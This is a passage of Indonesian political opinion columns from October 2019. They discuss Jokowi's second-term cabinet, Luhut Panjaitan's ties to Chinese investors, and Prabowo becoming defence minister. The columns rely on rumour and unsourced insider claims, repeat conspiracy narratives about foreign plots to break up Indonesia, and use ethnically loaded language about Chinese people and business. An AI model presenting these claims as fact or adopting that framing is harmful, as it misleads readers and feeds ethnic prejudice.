juga dikenal sebagai menteri yang China minded. Apa-apa Cina. Sedikit ada masalah, solusinya Cina. Dia pula yang rajin memakelari aneka proyek raksasa di negeri ini kepada para pengusaha asal Negeri Tirai Bambu. Bahkan, untuk mengatasi kemelut keuangan BPJS pun, si Opung lagi-lagi menawarkan perusahaan asal Cina sebagai solusi. Selain sebagai pejabat publik, Luhut juga dikenal sebagai pebisnis. Jaringan usahanya mengurita ke bidang pertambangan, energi, listrik, dan lainnya. Banyak pihak menuding pensiunan jenderal ini punya konflik kepentingan, terutama di area pertambangan dan listrik. Kita tentu masih ingat, bagaimana dia berupaya menghapuskan aturan kewajiban pengusaha menjual 25% batubaranya kepada PLN. Maklum, harga ekspor sedang supergurih. Dia juga yang sangat bernafsu menentang pemberlakuan harga domestik untuk batubara yang dijual ke PLN. Persoalannya kini, Joko ternyata mengabaikan semua saran dan masukan seputar figur calon menteri di periode kedua kekuasaannya. Banyak orang pun jadi uring-uringan, misuh-misuh. Tak Independen Buat saya justru sebaliknya. Sikap ndegil bin kopeg Joko ini justru bagus. Ini menunjukkan sebagai presiden dia sama sekali tidak independen. Soal Sri, misalnya, sulit dibantah bahwa posisinya kembali sebagai Menkeu adalah hasil permintaan (tekanan?) IMF dan Bank Dunia. Begitu pula dengan mempertahankan Luhut di posisi semula plus wewenang di bidang investasi juga menjadi konfirmasi betapa Joko telanjur jatuh dalam cengkeraman Cina. Dengan posisinya sebagai Menko Maritim saja Luhut sudah jadi calo bagi perusahaan-perusahaan Cina, kok. Apalagi setelah ada embel-embel investasi, dengan sendirinya dia password bagi kian derasnya serbuan pengusaha Cina ke sini. Perbedaan investor Cina dengan Jepang, Amerika, Eropa dan sejumlah negara lain adalah pada pola bedol desanya. Cina bukan cuma membuka pabrik atau membangun infrastruktur di sini, tapi juga menggerojok utang dengan jumlah fantastis, membawa bahan baku plus tenaga kerja di semua level. Kombinasi duet Sri dan Luhut dipastikan akan membuat Indonesia semakin tidak bisa kemana-mana. Pertumbuhan akan ajeg di kisaran 5% bahkan lebih rendah lagi. Mimpi Joko bahwa rakyat akan punya pengasilan Rp27 juta per bulan pada 2045 benar-benar akan jadi impian belaka. Sebaliknya, beban hidup rakat makin berat. Ketimpangan sosial kian menganga lebar. Kalau sudah begini, tinggal seberapa kuat rakyat menahan beban dan sabar. Tapi ekadar mengingatkan, sejarah Indonesia modern bercerita Soekarno dan Soeharto tumbang karena krisis ekonomi. Padahal, keduanya dikenal sebagai penguasa yang kuat. Sudah, gitu aja! Jakarta, 23 Oktober 2019

Kabinet Rekonsiliasi: Jokowi Bukan (lagi) Petugas Partai

Oleh Hersubeno Arief Jakarta, FNN - Pengumuman kabinet Jokowi Jilid II mengirim satu pesan penting : Jokowi bukan lagi petugas partai, seperti pernah dinisbahkan oleh Ketua Umum PDIP Megawati. Jokowi telah menjadi Presiden yang “mandiri.” Tidak mau didekte oleh partai, maupun ormas pengusungnya. Dia menyusun kabinet berdasarkan kepentingan taktis dan strategis politiknya. Tentu tetap mengakomodasi kepentingan partai pendukung, dan akuisisi terhadap lawan politik. Pesan tegas itu sangat terlihat bila kita mencermati komposisi kabinet yang baru saja diumumkan Jokowi, Rabu (23/10). Pertama, Jokowi memperkokoh posisinya sebagai Presiden dengan ditopang oleh dua kekuatan utamanya: Geng Luhut Binsar Panjaitan dan profesional dengan pilar utama geng alumni Universitas Gadjah Mada (UGM). Sebelum pembentukan kabinet banyak rumor dan spekulasi yang menyebutkan kemungkinan Luhut, tangan kanan Jokowi tidak akan masuk kabinet. Megawati tidak menyukainya. Spekulasi kian kencang seiring menguatnya peran Kepala BIN Budi Gunawan. Dia berhasil mempertemukan Prabowo dengan Jokowi, dan kemudian dengan Megawati. Alih-alih tergusur, Luhut tetap menduduki posisi lamanya sebagai Menko Maritim. Perannya kian besar karena ditambahi bidang investasi. Dengan peran baru itu posisi Luhut akan menjadi semakin kuat dan penting. Apalagi dikaitkan dengan kian besarnya investasi Cina yang masuk ke Indonesia. Bersama Luhut masuk juga seorang sekondan lamanya Jenderal (TNI) Fahrul Razi sebagai Menteri Agama. Pria Aceh ini satu angkatan dengan Luhut di Akabri 1970. Dalam dua kali pilpres, aktif sebagai ketua tim Bravo-5, tim pemenangan Jokowi yang dibentuk Luhut. Fahrul juga menjadi salah satu petinggi perusahaan milik Luhut PT Toba Sejahtera. Pilar lain pendukung Jokowi adalah para profesional. Erick Tohir yang menggantikan Rini M Soemarno sebagai Menteri BUMN. Kepala KSP Moeldoko, Menkop/UKM Teten Masduki, Menteri Investasi/BKPM Bahlil Lahadalia, Mendikbud/Dikti Nadiem Makarim, Menkes Mayjen TNI Dr Terawan AP, Menristek/Kepala BRIN Bambang Brodjonegoro, Menteri Pariwisata Wisnuthama. Masuk dalam barisan ini adalah mantan Kapolri Tito Karnavian yang ditunjuk sebagai Mendagri. Tito pantas menduduki posisi sangat penting dan berpengaruh itu. Di bawah komandonya Polri punya andil besar dalam kemenangan Jokowi. Sementara sejumlah nama profesional yang masuk dalam geng alumni UGM adalah Menteri PUPR Basoeki Hadimulyono, Menhub Budi Karya Sumadi, Menlu Retno LP Marsudi, dan Mensesneg Pratikno. Dalam barisan ini juga bisa ditambahkan nama Menko Perekonomian Airlangga Hartarto. Kedua, benar PDIP menjadi partai terbanyak mendapatkan kursi di kabinet seperti diinginkan Megawati. 5 kursi. Namun beberapa diantaranya tidak cukup prestisius. Pramono Anung dan Yasona Laoly tetap dalam posisi semula sebagai Mensekab dan Menkumham. Dua wajah baru Juliari P Batubara sebagai Mensos, IG Ayu Bintang Darmawati sebagai Menteri Pemberdayaan Perempuan dan Anak. Sementara Mantan Mendagri Tjahjo Kumolo posisinya terdowngrade jauh. Dia hanya menjadi Menpan. Sebuah kementrian yang anggaran tahunannya kalah jauh dibanding dengan satu direktorat jenderal di Kemendagri. Anggaran Kemenpan tahun 2020 yang disetujui DPR hanya sebesar Rp 304, 310 miliar. PDIP masih dapat tambahan “satu pos baru” tapi secara tidak langsung. Jaksa Agung ST Baharuddin adalah adik kandung politisi PDIP TB Hasanuddin yang semula disebut-sebut disiapkan sebagai Menhan. Nama Kepala BIN Budi Gunawan yang semula diperkirakan akan menjadi orang kuat baru secara mengejutkan tidak muncul di kabinet. Kemungkinan dia tetap di pos semula. Tetap bermain di belakang layar. Dengan komposisi ini PDIP tidak menempati satu pun pos triumvirat (Menhan, Menlu, dan Mendagri). Ketiga pos ini menjadi sangat penting manakala terjadi kekosongan kekuasaan. Ketiga, Jokowi memberikan pos Menteri Pertahanan kepada Prabowo, namun menolak memberikan pos Menteri Pertanian kepada Waketum Gerindra Edhie Prabowo. Pos tersebut diberikan kepada Syahrul Yasin Limpo dari Nasdem. Edhie dipindahkan menjadi Menteri Kelautan dan Perikanan. Jauh-jauh hari Gerindra memberi syarat hanya akan bergabung ke dalam kabinet bila mendapatkan pos di bidang pertahanan dan ketahanan pangan. Bila tidak, lebih baik di luar kabinet. Dengan hanya dua pos menteri, maka akuisisi politik terhadap Prabowo biayanya sangat murah. Keempat, Jokowi bisa tetap memaksa Nasdem dalam kabinet dengan kompensasi Menteri Pertanian yang semula diincar Gerindra. Nasdem juga mendapat jatah dua menteri lainnya, yakni Menkominfo Johny G Plate dan Menteri Lingkungan Hidup Siti Nurbaya. Bandingkan dengan posisi Nasdem sebelumnya. Mendapat jatah Jaksa Agung dan Menteri Perdagangan. Dua posisi sangat strategis yang disebut-sebut ikut menjadi penentu naiknya perolehan suara Nasdem pada Pemilu 2019. Sebelumnya Nasdem juga pernah mendapat pos sebagai Menteri Agraria. Kelima, Jokowi berani melanggar pakem baku yang selama ini disediakan untuk dua ormas terbesar NU dan Muhammadiyah. Pos Kemenag yang biasanya menjadi jatah NU diberikan ke seorang jenderal. Pos Mendikbud yang secara tradisional menjadi jatah Muhammadiyah diberikan ke bos Gojeg. Representasi NU cukup diwakili oleh PKB yang mendapat jatah tiga menteri: Menteri Perdagangan Agus Suparmanto, Menaker Ida Fauziah, dan Menteri Desa Abdul Halim Iskandar. Nama-nama tokoh NU seperti Yenny Wahid, Ketua Umum GP Anshor Yaqut Cholil Qoumas, dan Ipang Wahid tidak masuk kabinet. Padahal mereka ikut berkeringat. Pasang badan bela Jokowi. Ketua PB NU Said Agil Siradj juga sudah menyatakan siap menyetorkan sejumlah nama. Mungkin termasuk namanya sendiri. Sementara Muhammadiyah hanya kebagian satu pos, yakni Menko PMK Muhajir Effendy. Posisi tinggi tapi tanpa portofolio. Keenam, beberapa partai pendukung Jokowi yang tidak lolos parlemen gigit jari. Hanura, PSI, Perindo, PKPI, dan PBB Yusril tidak mendapat jatah. Termasuk dalam posisi ini Partai Demokrat dan PAN. Mereka tidak diajak masuk dalam kabinet. Kemungkinan kalau beruntung mereka akan mendapat jatah wakil menteri, kepala badan, atau jabatan-jabatan lain di luar kabinet. Dari komposisi tersebut Jokowi sudah menunjukkan posisinya. Para partai pendukung --termasuk PDIP-- boleh mengusulkan nama. Jadi tidaknya yang menentukan Jokowi dan orang dekat dalam lingkar kekuasaannya. Apakah mereka puas dan bisa menerima pembagian jatah di kabinet itu? Waktu yang akan berbicara. Satu pesan penting yang perlu diingat. Yang sudah masuk kabinet, jangan terlalu gembira. Yang belum masuk jangan terlalu sedih berlebihan. Apalagi sampai memaki-maki. Toh masih ada reshufle kabinet. Banyak berdoa saja. End

Memahami Langkah Politik Prabowo

Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Tampaknya dukungan Megawati kepada Prabowo kali ini sangat besar. Karena memang Megawati bergantung pada Prabowo untuk menyingkirkan SBY cs. “Prabowo benar. Memang tidak ada oposisi di Indonesia,” tulis Direktur The Global Future Institute Hendrajit. Dalam sejarah politik Indonesia sejak Orde Lama, memang tidak pernah ada yang namanya oposisi di Indonesia. Menteri-menteri pembantu Presiden Soekarno pun berasal dari berbagai partai politik yang ada ketika itu. Begitu pula semasa pemerintahan Presiden Soeharto. Pak Harto juga punya menteri dari parpol. Seingat saya begitu. Maaf kalau ternyata ada yang salah dengan argumen saya itu. Begitu halnya masa Presiden Abdurrahman Wahid, Megawati Soekarnoputri, Susilo Bambang Yudhoyono, dan Presiden Joko Widodo. Tidak ada partai oposisi! Yang ada hanyalah Partai Koalisi! Di luar Partai Koalisi inilah yang “diposisikan” sebagai “partai oposisi” secara verbal, bukan yuridis formal! Sikap kritis dari pengurus parpol atau masyarakat ditempatkan sebagai “oposisi”. Bisa jadi, itulah langkah yang kini dijalani Prabowo Subianto, Ketum DPP Partai Gerindra yang sudah ditawari Presiden Jokowi untuk membantu di bidang pertahanan. Apalagi, konon, Prabowo diberi “wewenang” oleh Megawati. Wewenang untuk bicara langsung dengan Presiden Jokowi dalam menentukan Kabinet Kerja II. Dengan kata lain, sebelum memutuskan nama-mana menteri, Presiden Jokowi harus bicara dulu dengan Prabowo. Itulah fakta politiknya. Santer tersiar kabar bahwa Mahfud MD akan dimasukkan sebagai calon Menko Polhukam. Isu ini bisa terjadi karena jebakan opini. Manuver Mahfud ini jelas salah satu jebakan opini yang termakan oleh Jokowi dan PDIP sendiri. Masuknya Mahfud sebagai Menko Polhukam seolah-olah dibarter dengan terdepaknya Agus Harimurty Yudhoyono dari calon Menpora adalah kemenangan Ketum DPP Partai Demokrat Susilo Bambang Yudhoyono dan Genk-nya. Secara politik, Menpora lebih pas dijabat Prananda Prabowo, yang bersih dan cerdas. Bukan kader PDIP yang punya 6Catatan Dosa. Kalau AHY masuk Kabinet Jokowi II, berarti Mega memelihara harimau untuk Pilpres 2024. Harimau yang siap terkam Capres PDIP. Jabatan Menpora tidak bernilai strategis dibanding jabatan Menko Polhukam sebagai penentu kebijakan polhukam tertinggi dalam rezim proksi ini. Secara formal, NasDem dan Demokrat ini seolah-olah menjadi oposisi atas Jokowi. Tapi, kader-kader SBY-Luhut Binsar Panjaitan-Hendropriyono-Surya Paloh seperti Mahfud, Sri Mulyani dan lain-lain (di luar dari Joko Widodo-Ma’ruf Amin) berhasil masuk menjabat posisi strategis dalam Kabinet Jokowi II ini. Konon, atas rekomendasi Prabowo, Mahfud akan ditempatkan sebagai Jaksa Agung dengan tujuan besar untuk sikat para koruptor yang selama ini aman dan dilindungi. Karena itu, atas usulan Prabowo, Mahfud dipaksakan menjadi Jaksa Agung. Buat Prabowo situasinya gampang saja, koq. Kalau formasi kabinet mengecewakan, berarti agenda yang dibawanya ke Teuku Umar telah dinafikan. “Prabowo tinggal bilang, dengan segala hormat, saya pamit mundur Bu,” kata Hendrajit. Menjabarkan agenda dengan menempatkan orang yang pas di kabinet, bukan sekadar bagi-bagi kekuasaan. Tapi, “Bagaimana memasang orang yang ahli sekaligus mengerti ruh dari gagasan yang terumuskan pada agenda, maka wajar Prabowo akan all out.” “Termasuk saat meminta posisi Kemenhan,” lanjut Hendrajit. Kabarnya, hingga pada Senin, 21 Oktober 2019, malam di internal Prabowo masih terjadi perdebatan posisi yang nantinya harus dipilih yang pas antara Menko Polhukam atau Menhan. Kita masih ingat Mahfud sebagai tokoh yang menuduh para pemilih Prabowo mayoritas dari daerah basis radikalisme. Jika Mahfud ditunjuk sebagai Menko Polhukam, maka yang terjadi adalah anomali demokrasi dan politik Indonesia semakin menggila. Presiden bukan kader partai. Wapres bukan kader partai. Menko Polhukam bukan usulan dari partai. Menko Perekonomian bukan usulan dari partai. Partai pemenang pemilu dapat apa? Sebaiknya Budi Gunawan Menko Polhumkam, Rizal Ramli Menko Ekonomi. Itulah yang ada dalam benak pikiran Prabowo terkait usulan menteri-menteri Kabinet Jokowi II tersebut. Prabowo sendiri pernah cerita ihwal kisah dua pemimpin AS, Abraham Lincoln dan William Seward saat Rapimnas Gerindra di Hambalang, Bogor, Rabu (16/10/2019). Abraham selama hidupnya fight dengan Seward, tokoh yang lebih senior. Bahwa pada suatu ketika Abraham menyatakan ingin bertemu dengan Seward di kongres parlemen AS. Seward menolak bertemu, bahkan menyebut Abaraham sebagai monyet. Ia urung bertemu Seward. Bertahun-tahun kemudian, mereka terus bertarung secara politik hingga Abraham akhirnya terpilih menjadi presiden. Setelah terpilih, Abraham ternyata mau menawari William Seward untuk menjadi Menlu AS atau Secretary of State. Padahal, jabatan ini merupakan posisi ketiga terkuat di Amerika Serikat setelah presiden dan wakil presiden. Seward akhirnya tanya, “Lho kamu tahu kan saya benci banget sama kamu. Kenapa kamu menawarkan posisi menteri luar negeri ini kepada saya.” Jawaban Abraham justru mengejutkan dan membuka mata para penasihat dan pendukungnya, termasuk juga pendukung Seward. Menurut Abraham, ia dan Seward punya kesamaan, yakni cinta kepada AS. “Iya saya tahu kamu benci sama saya, bilang saya monyet dan saya juga benci banget sama kamu, tapi ada satu hal yang tidak bisa dibantahkan, dua dari kita memiliki kecintaan luar biasa kepada United States of America,” ungkap Sandiaga Uno. Menurut Sandi, Prabowo menyebut bahwa Abraham memerlukan masukan dari Seward. Ia membutuhkan Seward untuk menjadi orang terdekatnya. “Karena kecintaan kepada USA dan saya butuh masukan, bukan (masukan) ABS, asal bapak senang, bukan orang yang memberikan masukan yang ingin saya dengar. Saya butuh Anda sebagai orang terdekat dengan saya,” lanjut Sandi. *Mengapa Bergabung* Seorang teman wartawan senior mencatat, Indonesia saat ini sudah dalam kondisi “bahaya”, ibarat Siaga I, ancaman dari luar sudah kritis dan juga “perpecahan” di dalam negeri sudah menganga lebar, sehingga Indonesia mudah sekali diintervensi Asing. Ini yang rakyat tidak menyadarinya. Prediksi-prediksi ahli ekonomi dunia tentang kondisi Indonesia tahun depan menukik tajam karena ekonomi tidak berputar, dan pembangunan infrastruktur yang tidak mengenal skala prioritas. Maka langkah Prabowo adalah “Menyatukan Rakyat yang Terbelah” dengan membubarkan Kubu 01-02 dan pembubaran BPN setelah pemilu dilaksanakan. Karena dengan rakyat yang terbelah, adu domba berlangsung dan intervensi negara lain yang sudah di depan mata, sangat mudah dilakukan. Karena itu Prabowo melakukan konsoludasi dengan pihak-pihak yang dianggap masyarakat berlawanan, untuk merajut kembali persatuan dan untuk bersinergi dalam menghadapi musuh utama kita, yaitu intervensi asing. Bagaimanapun Prabowo tahu kapasitas Jokowi, tanpa dukungan dari SBY Cs dan kapasitas berpikir (baca: intelektualitas) Mega yang merupakan “atasan” Jokowi yang mendukung dan menentukan Jokowi. Bagaimanapun, Mega itu seorang ibu RT yang bisa maju karena dukungan suaminya (Taufik Kiemas), bukan karena kapasitasnya sendiri, maka perlu masukan wawasan tentang kondisi Indonesia yang sebenarnya saat ini, dan juga politik dalam negeri yang sebenarnya terjadi. Makanya, diterangkan semua dan kondisi darurat saat ini terhadap intervensi asing. Kondisi Mega sendiri saat ini merasa Genk SBY Cs, Surya Paloh, dan Taipan China lebih berperan terhadap Jokowi dan mengambil manfaat yang sangat besar ke Jokowi. Di sini Mega ingin merebut kembali pengaruhnya ke Jokowi. Ia merasa Jokowi itu bisa jadi Presiden karena dia sehingga dengan memegang Prabowo, Mega bisa menyingkirkan SBY Cs dan saat ini Mega bergantung pada Prabowo. Jokowi harus menuruti Mega! Makanya, ini terlihat oleh kita bagaimana sikap Mega yang tak menyalami Paloh dan di dalam perpecahan 01 terlihat SBY Cs bersatu melawan Mega dengan membuat gaduh di Papua. Jadi, manuver Prabowo masuk ke dalam disambut oleh Mega untuk menyingkirkan SBY Cs dan kelompok ketiga itu yang selama ini sangat memanfaatkan Jokowi untuk kepentingan bisnisnya, aseng, dan asing. Ini yang paling jahat. Ibarat Prabowo membedah isi perut Kubu 01. Bagaimana dengan kondisi Kubu 02, resiko yang harus ditanggung Prabowo, ulama yang tergabung dalam ijti’ma ulama. Kecewa dan mengambil sikap opisisi! Begitu juga PKS dan relawan yang “tidak mengerti” kondisi negara saat ini ada yang marah. Ada yang kecewa, tapi ini semua resiko karena prioritas utama adalah ancaman kedaulatan negara dari intervensi asing yang semakin nyata. Diharapkan, dangan Prabowo masuk di posisi yang sangat penting bagi keputusan-keputusan strategis untuk keamanan negara, paling tidak, pertama, negara lain yang bermaksud ingin mengintervensi berfikir sejuta kali dengan masuknya Prabowo dalam pemerintahan. Karena tidak bisa disetir dan tidak bisa diiming-imingi. Kedua, integritas Indonesia sebagai negara yang berdaulat penuh atas batas-batas wilayah dipandang lagi oleh negara-negara tetangga dan naik pamornya. Jadi, jangan main-main dengan Indonesia. Presiden bisa saja lemah tapi pertahanan negara kuat dan dipandang kembali bagi kawasan Asia Tenggara. Ketiga, kestabilan wilayah kembali naik. Papua bisa dikuasai kembali. Karena rakyat Papua sangat hormat pada Prabowo, begitu juga dengan rakyat Aceh. Mereka menganggap Prabowo sebagai sahabat rakyat Aceh. Bisa disimpulkan, keamanan negara bisa dipulihkan, dan SBY Cs bisa tidak berperan lagi. Keempat, hal lain sebagai efek kestabilan negara, maka ekonomi bisa ditata ulang dengan skala prioritas. Tampaknya dukungan Mega kepada Prabowo kali ini sangat besar. Karena memang Mega bergantung pada Prabowo untuk menyingkirkan SBY Cs. Kali ini Mega menyadari ancaman luar merupakan prioritas utama, sehingga Jokowi harus mengikuti konsep yang dibuat Prabowo. Dengan dukungan penuh Mega, yang punya massa itu adalah PDIP dan Gerindra dominan, SBY Cs “nol besar”. Mereka tak punya grass rooth, hanya semu. Buktinya, keluarga TNI lebih memilih Prabowo saat Pilpres lalu. Di seluruh Indonesia kompleks militer dimenangkan 02. Jadi, sebetulnya mereka itu “jenderal ompong”. Jadi di sini terlihat kepiawaian Prabowo dalam meneliti “sumber penyakit” dan mencoba menyembuhkan dari dalam. Semoga dengan niat baik dan tulus dari Prabowo itu, Allah SWT meridhoi sepak terjangnya dalam membenahi negara ini untuk kesejahteraan rakyatnya. Aamiin. ***

Semoga Prabowo Warisi Takdir Gadjah Mada

Oleh Agi Betha (Wartawan Senior) Jakarta, FNN - Sulit menuliskan ini tanpa menyebutkan nama. Tapi jika disebut nama, nanti UU ITE yang bekerja. Jadi biarlah ditulis seperti ini, kadang ada disebut nama kadang tidak. PRABOWO INGIN JADI MENHAN Akhir tahun 2016, di sela hingar bingar Pilkada DKI, saya bertemu teman lama yang cukup dekat dengan Pak Prabowo. Dia bercerita bahwa posisi 2 kutub berseberangan antara Presiden Jokowi dengan PS tidak akan terjadi, jika saja Jokowi mau menjadikan Prabowo sebagai Menteri Pertahanan di kabinetnya. Saya kaget. Mosok PS mau jadi menterinya Pak Jokowi? Bukannya dia ambisi jadi presiden? Ingin menjadi orang nomor 1 di republik ini demi mewujudkan cita-cita besarnya? Teman ini lalu bertutur. Sesudah terpilih menjadi Presiden di 2014, Pak Jokowi pernah menawarkan jabatan menteri kepada Gerindra. Tapi PS tidak tertarik, karena departemen tersebut tidak strategis jika mau berkontribusi mengubah nasib Indonesia ke depan. Prabowo lalu membuat wacana negosiasi sendiri. Yakni jika Presiden Jokowi mau berikan jabatan Menteri Pertahanan kepadanya, maka ia mau bergabung dengan pemerintah. PS ketika itu terus terang nyatakan ingin memegang posisi penting sebagai Menhan, karena peningkatkan mutu pertahanan dan keamanan negara sudah teramat genting dilakukan. Kondisi pertahanan Indonesia sudah sangat rapuh, baik jika harus menghadapi invasi fisik, maupun perang ideologi berupa Proxywar yang masuk dari segala lini. PS tidak mau jabatan menteri basa-basi yang secara politik merupakan cara untuk membungkamnya, karena telah mau masuk ke lingkar kekuasaan. Namun ketika itu Jokowi menolak permintaan Prabowo. Sehingga Gerindra tetap jadi oposisi di periode pertama pemerintahan Jokowi. Jadi soal PS mau jadi Menhan adalah kabar usang. Yang baru justru soal Jokowi yang kini menyetujui. Menjelang Pilpres 2019, kembali santer beredar cerita incumbent kirim utusan ke Hambalang untuk menawarkan posisi lagi ke Prabowo. Kali ini jabatan cawapres yang diimingkan. Secara hitungan kasar, jika saat itu tawaran diterima, maka Jokowi-PS akan jadi paslon tak terkalahkan di Pilpres 2019. Undefeated. History maker. Tapi Prabowo emoh. Dia mengatakan, jika memang mau berbagi kekuasaan demi membenahi negara, kenapa dulu Jokowi tidak mau memberikan porsi Menhan kepadanya. Tawaran sebagai Cawapres itu jelas hanya untuk mendudukkan PS sebagai vote getter dan memuluskan jalannya pilpres. BANYAK YANG MENENTANG Jika di periode ke-2 kekuasaannya kini Jokowi setujui posisi Menteri Pertahanan untuk Prabowo, dipastikan banyak pihak yang menentang. Yaitu kelompok pro-Tiongkok, pro-Amrik, Australia, dan sebagian negara Asean yg terlihat baik di depan kita tapi diam-diam merasa Indonesia sebagai ancaman besar mereka. Di dalam negeri, usulan posisi Menhan kepada PS pasti ditentang oleh pimpinan partai (sudah gatel ingin sebut nama, tapi ingat UU ITE) yang menjadi boneka 9 Naga. Dirijek keras oleh si Fulan, pimpinan partai kesohor yang dikenal sebagai kepanjangan tangan Amrik dan pemilik portal online terkemuka. Juga ditolak oleh senioren jendral merah yang telah mengikat janji masa depan bersama RRC. PS KANTONGI RESTU DARI SIAPA? Kemarin sebuah media mainstream membocorkan bahwa rencana menjadikan PS Menhan, kabarnya belum didiskusikan dengan Surya Paloh, pemilik Nasdem sekaligus anggota koalisi pemerintah. Sementara Bu Mega yang lewat Diplomasi Nasgor sempat memanfaatkan PS untuk menohok kawan koalisinya, ternyata belakangan kembali ke aslinya. Mega tidak dukung PS naik ke Menhan. Ia keukeuh menyodorkan nama kader PDIP TB Hasanuddin, mantan Cagub Jabar. Sebelumnya Menhan memang jatah orangnya Mega. Dalam sejarahnya, Ryamizard memang pernah jadi ajudan Presiden Megawati. Jadi spekulasi umum bahwa Megalah yang mendukung PS jadi Menhan sebagai bagian dari diplomasi Nasgor, terbantahkan. Bahwa Mega nyaman bersekutu dengan PS, ternyata salah besar. Macetnya komunikasi antara Teuku Umar dengan Gondangdia selama lebih dari 1 tahun terakhir, tidak membuat Mega gentar. Retaknya koalisi penguasa tidak membuat Mega membentuk sekutu betulan dengan Prabowo. Mungkin karena polemik soal PDIP yang dulu kerja keras menaikkan Jokowi di 2014, tapi hanya tempati posisi yang kering di kabinet, kini sudah berlalu. Kursi penting yang dulu diisi partai lain yang kadernya memburu rente dengan terus lakukan imprat-improt itu, kini jadi rebutan. Sebentar saja Mega manfaatkan Prabowo untuk gertak sambal ke partai-partai kecil koalisinya, sesudah itu ia kembali labuhkan kesetiaan kepada kepentingannya sendiri. Jika benar bahwa tidak ada partai koalisi penguasa yang restui PS, lalu kenapa Presiden tetap akan jadikan PS Menhan? Jawabannya mungkin hanya Presiden Jokowi sendiri yang tahu. Yang jelas kali ini strategi pak presiden terpilih cukup cerdik. Demi selekasnya menyelamatkan kursi Menhan untuk Prabowo, Jokowi menempatkan PS di salah satu deretan teratas tokoh yg ia temui. Agar posisi itu terkunci. Digembok: Cekrek! Berharap tidak ada tangan kuat yang utak-atik lagi. Ini pertarungan urat syaraf. Maklum, Kemenhan adalah salah satu departemen dengan postur anggaran terbesar di APBN. Salah satu jabatan Triumvirat berdasarkan UUD bila presiden dan wakilnya jatuh di tengah jalan itu, memang terlalu menggiurkan. Jika Menkopolhukam urusi keamanan dalam negri, maka Menhan bertanggungjawab menyelamatkan NKRI agar tetap utuh dari segala jenis gangguan dari luar. Posisi yang seksi secara jumlah anggaran dan sangat kuat dari segi kekuasaan politik. MENGAPA PS INCAR POSISI MENHAN? Soal PS incar posisi Menhan itu, siapa yang tidak kaget? Malah anomali kalau tidak terkejut. Awalnya sayapun begitu. Tiga tahun lalu saya bertanya, "Kok PS yang musuh politik Jokowi malah inginkan posisi sebagai Menteri Pertahanan presiden?" Lalu pelahan jawabanpun datang. Selapis demi selapis membuka wawasan. Pertama saya beberapa kali bertemu Pak Sudrajat, mantan Cagub Jabar yang juga mantan atase pertahanan KBRI di AS dan mantan Dubes RI untuk RRC. Jenderal lulusan Harvard ini adalah narator yang baik, paham geopolitik, dan sangat cerdas. Ia paparkan soal OBOR dan Proxywar yang mengancam Indonesia, bahkan tanpa disadari sudah masuk di tengah kita. Ibarat rebutan kekasih, si pemuda Amerika dan jejaka China nafsu ingin sama-sama kuasai Indonesia, si perawan cantik bahenol nan kaya raya. Intinya Indonesia terancam jadi perawan yang mati di tengah. Berikutnya ramai soal teori Indonesia akan 'dibagi' menjadi 5 negara lewat skenario Barat, China, dan Israel, yang dinarasikan oleh seorang tokoh ekonomi. Kemudian ada kejadian-kejadian pelemahan Ulama dan Islam sebagai agama mayoritas yang dibenturkan dengan pluralisme. Berikutnya adalah intervensi kepada media yang dilakukan secara masif dan pemandulan fungsi pers. Lalu puncaknya Prabowopun ungkapkan bahwa Indonesia terancam bubar pada 2030. PS nekat katakan itu, meski tahu bahwa resikonya ia akan dicemooh. Sejak melihat rentetan peristiwa itulah saya paham kenapa PS ngebet banget ingin jadi Menhan. Dia ingin perjuangkan anggaran pertahanan dan keamanan agar tidak jadi bahan rayahan. Berkali-kali di berbagai diskusi, Prabowo terbuka menyatakan keheranannya. Kenapa anggaran yang sedemikian besar itu tidak mampu membeli alutsista yang diperlukan untuk pertahanan NKRI? Sebagai jenderal lapangan, sebetulnya PS tahu apa yang terjadi, paham jawabannya, dan mengerti apa yang harus dilakukan. Begitu banyak yang harus secepatnya dikerjakan oleh Menhan baru, jika ingin NKRI Harga Mati betul-betul diwujudkan. Jika negara terancam bubar jalan pada tahun 2030, tentunya bukan ujug-ujug terjadi di tahun itu juga. Bagai suatu penyakit mematikan, prosesnya tentu sudah dimulai jauh sebelumnya. Dan saat ini Prabowo berpacu dengan usianya sendiri. Ia tidak muda lagi. Jika tidak lakukan kini, maka belum tentu ada peluang lagi. Target besarnya adalah untuk mengeleminir 'Paradoks Indonesia', yakni negara kaya raya tapi rakyatnya masih banyak yang hidup miskin. Juga demi wujudkan 'Indonesia Menang', dengan cara mandiri pangan, mandiri energi dan mandiri air. Dua itu adalah judul buku PS yang selalu dia bawa dan bagikan ke mana-mana. JANJI PS YANG HARUS DITEPATI Jika benar nanti Indonesia miliki Menteri Pertahanan Prabowo Subianto, maka keuntungannya adalah rakyat bisa menagih janji-janji kampanyenya. Setidaknya terhadap persoalan yang menjadi wewenang seorang Menhan. Selama ini di Hambalang, di stadion, di lapangan, dimanapun berada, Prabowo selalu menyerukan soal bagaimana selekasnya mengeleminir 'Paradoks Indonesia', yakni negara kaya raya tapi rakyatnya sangat banyak yang hidup miskin. Juga demi wujudkan 'Indonesia Menang', dengan cara mandiri pangan, mandiri energi dan mandiri air. Dua itu adalah judul buku PS yang selalu dia bawa dan bagikan ke mana-mana. Dalam narasi PS, soal Pertahanan Negara adalah pekerjaan menyeluruh. Ketahanan Pangan adalah bagian pokok dari kemampuan pertahanan Bangsa Indonesia. Revolusi Putih atau pembagian susu gratis untuk anak-anak sekolah adalah cita-citanya untuk menghapus stunting. Supaya tidak terjadi lost generation. Di skema Prabowo, setiap keluarga miskin nantinya harus dibantu memiliki hewan unggas sendiri. Kecukupan protein adalah salah satu kunci kecerdasan generasi baru. Ayam atau itik harus dipelihara sendiri, untuk memenuhi kecukupan gizi kaum papa di pelosok. Narasi itulah yang pada 2014 lalu membuat Pak Bondan 'Maknyus' Winarno nyatakan jatuh cinta kepada Prabowo. Katanya hanya Prabowo, capres yang peduli soal gizi rakyat dan miliki program detil soal itu. Kemudian Pak Maknyus menyurati PS, masuk jadi kader Partai Gerindra, bahkan sempat nyaleg. Atas keputusannya itu, Bondan yang juga dikenal sebagai wartawan investigasi senior, sempat melakukan perlawanan keras di twiter kepada para pembullynya. Jejak digitalnya masih tersimpan hingga sekarang. Selain soal perut, Prabowo juga selalu serukan bahwa kebutuhan hakiki yang wajib dimiliki oleh seorang manusia merdeka adalah tanah. Apalagi bumi Indonesia sangat luas, setara dengan puluhan negara Eropa yang disatukan. Jadi sewajarnya tiap keluarga harus memiliki tanah. Meski hanya sepetak, yang penting tanah itu ada rumah untuk dihuni, ada sejengkal lahan bakal ditanami singkong, serumpun sayur, dan menaruh unggas. Menurut 